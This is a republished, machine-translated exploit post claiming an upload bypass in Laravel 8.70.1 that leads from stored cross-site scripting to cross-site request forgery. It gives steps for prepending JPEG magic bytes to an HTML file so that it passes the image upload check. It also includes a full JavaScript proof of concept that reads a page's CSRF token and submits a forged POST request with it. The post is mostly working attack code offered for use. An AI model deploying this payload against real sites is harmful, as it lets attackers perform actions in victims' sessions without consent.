当前位置:网站首页>PHP laravel 8.70.1 - cross site scripting (XSS) to cross Site Request Forgery (CSRF)

PHP laravel 8.70.1 - cross site scripting (XSS) to cross Site Request Forgery (CSRF)

2022-06-23 22:13:00 Khan security team

supply ​​ Business Homepage :https://laravel.com/

Software link :https://laravel.com/docs/4.2

edition :Laravel frame 8.70.1

test :Windows/Linux

explain :

We can bypass laravel Picture file upload function , stay web The server uploads any file # Let's run any javascript And bypass csrf token , For more information , Please read this https://hosein-vita.medium.com/laravel-8-x-image-upload-bypass-zero-day-852bd806019b

Repeat step :

1- Use HxD Tool and add... At the beginning of the file FF D8 FF E0

2- Use the following code to bypass csrf token

3- Save it as Html File and upload .

<html>
<head>
<title>Laravel Csrf Bypass</title>
</head>
<body>
<script>
function submitFormWithTokenJS(token) {
    var xhr = new XMLHttpRequest();
    xhr.open("POST", POST_URL, true);

    // Send the proper header information along with the request
    xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

    // This is for debugging and can be removed
    xhr.onreadystatechange = function() {
        if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
            console.log(xhr.responseText);
        }
    }
	//
    xhr.send("_token=" + token + "&desiredParameter=desiredValue");
}

function getTokenJS() {
    var xhr = new XMLHttpRequest();
    // This tels it to return it as a HTML document
    xhr.responseType = "document";
    // true on the end of here makes the call asynchronous
	//Edit the path as you want
    xhr.open("GET", "/image-upload", true);
    xhr.onload = function (e) {
        if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
            // Get the document from the response
            page = xhr.response
            // Get the input element
            input = page.getElementsByTagName("input")[0];
            // Show the token
            alert("The token is: " + input.value);
            // Use the token to submit the form
            submitFormWithTokenJS(input.value);
        }
    };
    // Make the request
    xhr.send(null);
}
getTokenJS();

var POST_URL="/"
getTokenJS();

</script>
</html>
原网站

版权声明
本文为[Khan security team]所创,转载请带上原文链接,感谢
https://yzsam.com/2021/12/202112171559580057.html